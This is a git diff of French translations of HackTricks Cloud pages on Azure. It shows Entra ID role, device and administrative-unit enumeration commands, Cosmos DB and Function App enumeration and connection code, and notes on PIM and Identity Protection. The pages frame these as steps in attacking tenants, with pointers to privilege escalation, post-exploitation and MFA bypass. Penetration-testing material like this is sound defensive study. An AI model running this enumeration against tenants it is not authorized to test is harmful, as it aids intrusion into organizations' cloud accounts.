--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# Liste des rôles Entra ID assignés à un principal de service
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# Obtenir tous les modèles de rôle disponibles
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Obtenir les rôles activés (Rôles assignés)
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Obtenir des informations sur le rôle
# Obtenir des rôles personnalisés - utiliser AzureAdPreview
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Utilisateurs assignés à un rôle (Administrateur global)
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Rôles de l'Unité Administrative (qui a des permissions sur l'unité administrative et ses membres)
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
```
{{#endtab }}
{{#endtabs }}
### Devices
### Appareils
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Si vous savez comment faire cela, envoyez une PR !
# If you know how to do this send a PR!
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Énumérer les appareils en utilisant Microsoft Graph PowerShell
# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All
# Obtenir les détails de l'appareil
# Get device details
Get-MgDevice -DeviceId <DeviceId> | Format-List *
# Obtenir les appareils gérés avec Intune
# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All
# Obtenir les appareils appartenant à un utilisateur
# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
# Lister les commandes disponibles dans Microsoft Graph PowerShell
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# Énumérer les appareils
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# Lister tous les appareils actifs (et non les appareils obsolètes)
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Obtenir les propriétaires de tous les appareils
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Utilisateurs enregistrés de tous les appareils
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Obtenir les appareils gérés avec Intune
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Obtenir les appareils possédés par un utilisateur
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Obtenir les unités administratives d'un appareil
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
{{#endtab }}
{{#endtabs }}
> [!WARNING]
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
> Si un appareil (VM) est **joint à AzureAD**, les utilisateurs d'AzureAD vont **pouvoir se connecter**.\
> De plus, si l'utilisateur connecté est **Propriétaire** de l'appareil, il sera **administrateur local**.
### Administrative Units
### Unités administratives
For more information about administrative units check:
Pour plus d'informations sur les unités administratives, consultez :
{{#ref}}
../az-basic-information/
@@ -1062,104 +1045,100 @@ For more information about administrative units check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Lister toutes les unités administratives
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Obtenir des informations sur l'UA
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Obtenir les membres
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Obtenir les principaux avec des rôles sur l'UA
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
{{#endtab }}
{{#tab name="AzureAD" }}
```bash
# Obtenir des unités administratives
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Obtenir l'ID de l'unité admin par chaîne
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# Lister les utilisateurs, groupes et appareils affectés par l'unité administrative
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Obtenir les rôles que les utilisateurs ont sur les membres de l'AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Obtenir l'ID de rôle et les membres du rôle
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
```
{{#endtab }}
{{#endtabs }}
## Entra ID Privilege Escalation
## Escalade de Privilèges Entra ID
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Azure Privilege Escalation
## Escalade de Privilèges Azure
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Defensive Mechanisms
## Mécanismes Défensifs
### Privileged Identity Management (PIM)
### Gestion des Identités Privilégiées (PIM)
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
La Gestion des Identités Privilégiées (PIM) dans Azure aide à **prévenir l'attribution excessive de privilèges** aux utilisateurs de manière inutile.
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
Note that the user will also be able to ask to **extend** the time.
L'une des principales fonctionnalités fournies par PIM est qu'elle permet de ne pas attribuer de rôles à des principaux qui sont constamment actifs, mais de les rendre **éligibles pour une période de temps (par exemple, 6 mois)**. Ensuite, chaque fois que l'utilisateur souhaite activer ce rôle, il doit en faire la demande en indiquant le temps dont il a besoin pour le privilège (par exemple, 3 heures). Ensuite, un **admin doit approuver** la demande.\
Notez que l'utilisateur pourra également demander à **prolonger** le temps.
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
De plus, **PIM envoie des emails** chaque fois qu'un rôle privilégié est attribué à quelqu'un.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
When PIM is enabled it's possible to configure each role with certain requirements like:
Lorsque PIM est activé, il est possible de configurer chaque rôle avec certaines exigences telles que :
- Maximum duration (hours) of activation
- Require MFA on activation
- Require Conditional Access acuthenticaiton context
- Require justification on activation
- Require ticket information on activation
- Require approval to activate
- Max time to expire the elegible assignments
- A lot more configuration on when and who to send notifications when certain actions happen with that role
- Durée maximale (heures) d'activation
- Exiger MFA lors de l'activation
- Exiger un contexte d'authentification d'Accès Conditionnel
- Exiger une justification lors de l'activation
- Exiger des informations de ticket lors de l'activation
- Exiger une approbation pour activer
- Temps maximum pour expirer les attributions éligibles
- Beaucoup plus de configurations sur quand et qui envoyer des notifications lorsque certaines actions se produisent avec ce rôle
### Conditional Access Policies
### Politiques d'Accès Conditionnel
Check:
Vérifiez :
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Entra Identity Protection
### Protection des Identités Entra
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
La Protection des Identités Entra est un service de sécurité qui permet de **détecter quand un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion.
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
Il permet à l'admin de le configurer pour **bloquer** les tentatives lorsque le risque est "Faible et au-dessus", "Moyen et au-dessus" ou "Élevé". Bien que, par défaut, il soit complètement **désactivé** :
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques d'Accès Conditionnel où il est possible de configurer les mêmes options.
### Entra Password Protection
### Protection des Mots de Passe Entra
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
It also allows to **ban a custom password list** that you need to provide.
La Protection des Mots de Passe Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsque plusieurs tentatives de connexion infructueuses se produisent**.\
Elle permet également de **interdire une liste de mots de passe personnalisée** que vous devez fournir.
It can be **applied both** at the cloud level and on-premises Active Directory.
Elle peut être **appliquée à la fois** au niveau cloud et sur Active Directory sur site.
The default mode is **Audit**:
Le mode par défaut est **Audit** :
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## References
## Références
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)

View File

@@ -12,20 +12,20 @@ Il n'y a pas de permissions assignées à ce service, donc il n'y a pas de techn
**Environment**: Azure Cloud Shell fournit un environnement sécurisé en fonctionnant sur Azure Linux, la distribution Linux propre à Microsoft conçue pour l'infrastructure cloud. Tous les paquets inclus dans le dépôt Azure Linux sont compilés en interne par Microsoft pour se protéger contre les attaques de la chaîne d'approvisionnement.
**Preinstalled Tools**: Cloud Shell inclut un ensemble complet d'outils préinstallés tels qu'Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, et des éditeurs de texte comme vim, nano, et emacs. Ces outils sont prêts à l'emploi. Pour lister les paquets et modules installés, vous pouvez utiliser "Get-Module -ListAvailable", "tdnf list" et "pip3 list".
**$HOME persistence**: Lors du premier démarrage d'Azure Cloud Shell, vous pouvez l'utiliser avec ou sans un compte de stockage attaché. Choisir de ne pas attacher de stockage crée une session éphémère où les fichiers sont supprimés à la fin de la session. Pour conserver des fichiers entre les sessions, montez un compte de stockage, qui s'attache automatiquement en tant que **$HOME\clouddrive**, avec votre répertoire **$HOME** sauvegardé en tant que fichier **.img** dans Azure File Share. Cependant, les fichiers en dehors de $HOME et les états de machine ne sont pas conservés. Pour stocker en toute sécurité des secrets comme des clés SSH, utilisez Azure Key Vault.
**Azure drive (Azure:)**: PowerShell dans Azure Cloud Shell inclut le lecteur Azure (Azure:), qui permet une navigation facile des ressources Azure comme Compute, Network, et Storage en utilisant des commandes similaires à celles du système de fichiers. Passez au lecteur Azure avec cd Azure: et revenez à votre répertoire personnel avec cd ~. Vous pouvez toujours utiliser les cmdlets Azure PowerShell pour gérer des ressources depuis n'importe quel lecteur.
**$HOME persistence**: Lors du premier démarrage d'Azure Cloud Shell, vous pouvez l'utiliser avec ou sans un compte de stockage attaché. Choisir de ne pas attacher de stockage crée une session éphémère où les fichiers sont supprimés à la fin de la session. Pour conserver des fichiers entre les sessions, montez un compte de stockage, qui s'attache automatiquement comme **$HOME\clouddrive**, avec votre répertoire **$HOME** sauvegardé sous forme de fichier **.img** dans Azure File Share. Cependant, les fichiers en dehors de $HOME et les états de machine ne sont pas conservés. Pour stocker en toute sécurité des secrets comme des clés SSH, utilisez Azure Key Vault.
**Azure drive (Azure:)**: PowerShell dans Azure Cloud Shell inclut le lecteur Azure (Azure:), qui permet une navigation facile des ressources Azure comme Compute, Network, et Storage en utilisant des commandes similaires à celles du système de fichiers. Passez au lecteur Azure avec cd Azure: et revenez à votre répertoire personnel avec cd ~. Vous pouvez toujours utiliser les cmdlets Azure PowerShell pour gérer les ressources depuis n'importe quel lecteur.
**Custom Tool Installation**: Les utilisateurs qui configurent Cloud Shell avec un compte de stockage peuvent installer des outils supplémentaires qui ne nécessitent pas de permissions root. Cette fonctionnalité permet une personnalisation supplémentaire de l'environnement Cloud Shell, permettant aux utilisateurs d'adapter leur configuration à leurs besoins spécifiques.
## References
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistence
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -8,28 +8,23 @@
Azure Cosmos DB fournit plusieurs API de base de données pour modéliser des données du monde réel en utilisant des documents, des modèles de données relationnels, clé-valeur, graphes et familles de colonnes, ces API étant NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin et Table.
Un aspect clé de CosmosDB est le Compte Azure Cosmos. **Le Compte Azure Cosmos** agit comme le point d'entrée vers les bases de données. Le compte détermine des paramètres clés tels que la distribution mondiale, les niveaux de cohérence et l'API spécifique à utiliser, comme NoSQL. Grâce au compte, vous pouvez configurer la réplication mondiale pour garantir que les données sont disponibles dans plusieurs régions pour un accès à faible latence. De plus, vous pouvez choisir un niveau de cohérence qui équilibre performance et précision des données, avec des options allant de la cohérence forte à la cohérence éventuelle.
Un aspect clé de CosmosDB est le Compte Azure Cosmos. **Le Compte Azure Cosmos** agit comme le point d'entrée vers les bases de données. Le compte détermine les paramètres clés tels que la distribution mondiale, les niveaux de cohérence et l'API spécifique à utiliser, comme NoSQL. Grâce au compte, vous pouvez configurer la réplication mondiale pour garantir que les données sont disponibles dans plusieurs régions pour un accès à faible latence. De plus, vous pouvez choisir un niveau de cohérence qui équilibre performance et précision des données, avec des options allant de la cohérence forte à la cohérence éventuelle.
### NoSQL (sql)
L'API NoSQL d'Azure Cosmos DB est une API basée sur des documents qui utilise JSON comme format de données. Elle fournit une syntaxe de requête similaire à SQL pour interroger des objets JSON, ce qui la rend adaptée au travail avec des données structurées et semi-structurées. Le point de terminaison du service est :
{% code overflow="wrap" %}
```bash
https://<Account-Name>.documents.azure.com:443/
```
{% endcode %}
#### Bases de données
Dans un compte, vous pouvez créer une ou plusieurs bases de données, qui servent de regroupements logiques de conteneurs. Une base de données agit comme une limite pour la gestion des ressources et les autorisations des utilisateurs. Les bases de données peuvent soit partager le débit provisionné entre leurs conteneurs, soit allouer un débit dédié à des conteneurs individuels.
Au sein d'un compte, vous pouvez créer une ou plusieurs bases de données, qui servent de regroupements logiques de conteneurs. Une base de données agit comme une limite pour la gestion des ressources et les autorisations des utilisateurs. Les bases de données peuvent soit partager le débit provisionné entre leurs conteneurs, soit allouer un débit dédié à des conteneurs individuels.
#### Conteneurs
L'unité de base du stockage de données est le conteneur, qui contient des documents JSON et est automatiquement indexé pour des requêtes efficaces. Les conteneurs sont élastiquement évolutifs et distribués sur des partitions, qui sont déterminées par une clé de partition définie par l'utilisateur. La clé de partition est essentielle pour garantir des performances optimales et une distribution uniforme des données. Par exemple, un conteneur pourrait stocker des données clients, avec "customerId" comme clé de partition.
#### Énumération
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name <AccountName> --container-name <Cont
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosD
@@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### Connexion
Pour se connecter, la bibliothèque azure-cosmosDB (pip install azure-cosmos) est nécessaire. De plus, le point de terminaison et la clé sont des composants cruciaux pour établir la connexion.
{% code overflow="wrap" %}
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -158,11 +149,7 @@ print("All items in the container:")
for item in all_items:
print(item)
```
{% endcode %}
Une autre façon d'établir une connexion est d'utiliser le **DefaultAzureCredential()**. Il suffit de se connecter (az login) avec le compte qui a les permissions et de l'exécuter. Dans ce cas, une attribution de rôle doit être effectuée, en donnant les permissions nécessaires (voir pour plus)
{% code overflow="wrap" %}
Une autre façon d'établir une connexion est d'utiliser le **DefaultAzureCredential()**. Il suffit de se connecter (az login) avec le compte qui a les permissions et de l'exécuter. Dans ce cas, une attribution de rôle doit être effectuée, en donnant les permissions nécessaires (voir pour plus).
```python
from azure.identity import DefaultAzureCredential
from azure.cosmos import CosmosClient
@@ -187,17 +174,11 @@ item = {
container.create_item(item)
print("Document inserted.")
```
{% endcode %}
### MongoDB
L'API NoSQL MongoDB est une API basée sur des documents qui utilise BSON (Binary JSON) semblable à JSON comme format de données. Elle fournit un langage de requête avec des capacités d'agrégation, ce qui la rend adaptée au travail avec des données structurées, semi-structurées et non structurées. L'endpoint du service suit généralement ce format :
{% code overflow="wrap" %}
```bash
mongodb://<hostname>:<port>/<database>
```
{% endcode %}
#### Bases de données
Dans MongoDB, vous pouvez créer une ou plusieurs bases de données au sein d'une instance. Chaque base de données sert de regroupement logique de collections et fournit une limite pour l'organisation et la gestion des ressources. Les bases de données aident à séparer et à gérer les données de manière logique, par exemple pour différentes applications ou projets.
@@ -206,9 +187,8 @@ L'unité de base du stockage de données dans MongoDB est la collection, qui con
#### Énumération
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name <AccountName> --resource
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosDB
@@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGro
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### Connexion
Ici, le mot de passe que vous pouvez trouver avec les clés ou avec la méthode décrite dans la section privesc.
{% code overflow="wrap" %}
```python
from pymongo import MongoClient
@@ -311,31 +287,29 @@ document = {
result = collection.insert_one(document)
print(f"Inserted document with ID: {result.inserted_id}")
```
{% endcode %}
## Références
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
## Escalade de privilèges
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-cosmosDB-privesc.md
{{#endref}}
## Post exploitation
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-sql-post-exploitation.md
{{#endref}}
## À faire
* Le reste de la DB ici, tables, cassandra, gremlin...
* Jetez un œil à la post exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" et aux définitions de rôle car ici il pourrait y avoir une escalade de privilèges
* Jetez un œil à la post exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" et aux définitions de rôle car ici il pourrait y avoir une privesc
* Jetez un œil aux restaurations

View File

@@ -30,8 +30,8 @@
## Énumération
{{#tabs}}
{{#tab name="az cli"}}
{{#tabs }}
{{#tab name="az" }}
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -58,9 +58,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
# Download snapshot/backup
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
```
{{#endtab}}
{{#endtab }}
{{#tab name="Az PowerShell"}}
{{#tab name="Az Powershell" }}
```bash
Get-AzStorageAccount
@@ -81,8 +81,8 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
```
{{#endtab}}
{{#endtabs}}
{{#endtab }}
{{#endtabs }}
> [!NOTE]
> Par défaut, `az` cli utilisera une clé de compte pour signer une clé et effectuer l'action. Pour utiliser les privilèges du principal Entra ID, utilisez les paramètres `--auth-mode login --enable-file-backup-request-intent`.
@@ -91,7 +91,7 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
> Utilisez le paramètre `--account-key` pour indiquer la clé de compte à utiliser\
> Utilisez le paramètre `--sas-token` avec le token SAS pour accéder via un token SAS
### Connection
### Connexion
Ce sont les scripts proposés par Azure au moment de l'écriture pour se connecter à un File Share :
@@ -136,7 +136,7 @@ open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.ne
{{#endtab}}
{{#endtabs}}
### Énumération de stockage régulière (clés d'accès, SAS...)
### Énumération de stockage régulier (clés d'accès, SAS...)
{{#ref}}
az-storage.md

View File

@@ -56,14 +56,14 @@ Dans une fonction **Windows** utilisant NodeJS, le code était situé dans **`C:
### **Identités gérées et métadonnées**
Tout comme les [**VMs**](vms/index.html), les fonctions peuvent avoir des **Identités Gérées** de 2 types : Assignée au système et Assignée à l'utilisateur.
Tout comme [**VMs**](vms/index.html), les fonctions peuvent avoir des **Identités Gérées** de 2 types : assignées par le système et assignées par l'utilisateur.
L'identité **assignée au système** sera une identité gérée que **seule la fonction** qui l'a assignée pourra utiliser, tandis que les identités gérées **assignées à l'utilisateur** sont des identités gérées que **tout autre service Azure pourra utiliser**.
L'identité **assignée par le système** sera une identité gérée que **seule la fonction** qui l'a assignée pourra utiliser, tandis que les identités gérées **assignées par l'utilisateur** sont des identités gérées que **tout autre service Azure pourra utiliser**.
> [!NOTE]
> Tout comme dans les [**VMs**](vms/index.html), les fonctions peuvent avoir **1 identité gérée assignée au système** et **plusieurs identités assignées à l'utilisateur**, il est donc toujours important d'essayer de trouver toutes celles-ci si vous compromettez la fonction car vous pourriez être en mesure d'escalader les privilèges vers plusieurs identités gérées à partir d'une seule fonction.
> Tout comme dans [**VMs**](vms/index.html), les fonctions peuvent avoir **1 identité gérée assignée par le système** et **plusieurs identités assignées par l'utilisateur**, il est donc toujours important d'essayer de trouver toutes celles-ci si vous compromettez la fonction car vous pourriez être en mesure d'escalader les privilèges vers plusieurs identités gérées à partir d'une seule fonction.
>
> Si aucune identité gérée au système n'est utilisée mais qu'une ou plusieurs identités gérées par l'utilisateur sont attachées à une fonction, par défaut vous ne pourrez pas obtenir de jeton.
> Si aucune identité gérée par le système n'est utilisée mais qu'une ou plusieurs identités gérées par l'utilisateur sont attachées à une fonction, par défaut, vous ne pourrez pas obtenir de jeton.
Il est possible d'utiliser les [**scripts PEASS**](https://github.com/peass-ng/PEASS-ng) pour obtenir des jetons de l'identité gérée par défaut à partir du point de terminaison des métadonnées. Ou vous pourriez les obtenir **manuellement** comme expliqué dans :
@@ -104,7 +104,7 @@ az-app-services.md
### Déploiements basés sur Github
Lorsqu'une fonction est générée à partir d'un dépôt Github, la console web Azure permet de **créer automatiquement un Workflow Github dans un dépôt spécifique** afin que chaque fois que ce dépôt est mis à jour, le code de la fonction soit mis à jour. En fait, le yaml de l'action Github pour une fonction Python ressemble à ceci :
Lorsqu'une fonction est générée à partir d'un dépôt Github, la console web Azure permet de **créer automatiquement un workflow Github dans un dépôt spécifique** afin que chaque fois que ce dépôt est mis à jour, le code de la fonction soit mis à jour. En fait, le yaml de l'action Github pour une fonction Python ressemble à ceci :
<details>
@@ -205,9 +205,8 @@ De plus, **aucun code source ne sera stocké dans le compte de stockage** lié
## Énumération
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all the functions
az functionapp list
@@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.Functions
@@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## Escalade de privilèges

View File

@@ -4,7 +4,7 @@
## Informations de base
Azure Logic Apps est un service basé sur le cloud fourni par Microsoft Azure qui permet aux développeurs de **créer et d'exécuter des workflows intégrant divers services**, sources de données et applications. Ces workflows sont conçus pour **automatiser les processus métier**, orchestrer des tâches et effectuer des intégrations de données à travers différentes plateformes.
Azure Logic Apps est un service basé sur le cloud fourni par Microsoft Azure qui permet aux développeurs de **créer et d'exécuter des workflows qui intègrent divers services**, sources de données et applications. Ces workflows sont conçus pour **automatiser les processus métier**, orchestrer des tâches et effectuer des intégrations de données à travers différentes plateformes.
